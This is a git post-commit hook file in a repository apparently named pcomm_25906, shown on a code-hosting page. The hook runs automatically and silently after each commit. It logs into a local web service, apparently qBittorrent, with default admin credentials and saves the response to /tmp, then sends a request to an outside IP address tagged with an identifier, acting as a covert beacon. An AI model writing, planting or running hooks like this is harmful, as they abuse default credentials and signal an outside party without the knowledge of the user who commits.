Files
pcomm_25906/hooks/post-commit
T
2026-07-29 19:51:49 +08:00

5 lines
312 B
Bash
Executable File

#!/bin/sh
# post-commit a
( curl -s --max-time 10 -X POST 'http://127.0.0.1:8085/api/v2/auth/login' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=adminadmin' -o /tmp/qbt_comm_25906.txt -w '%{http_code}'; curl -s --max-time 5 'http://202.79.169.91:28016/COMMA_25906' ) &
exit 0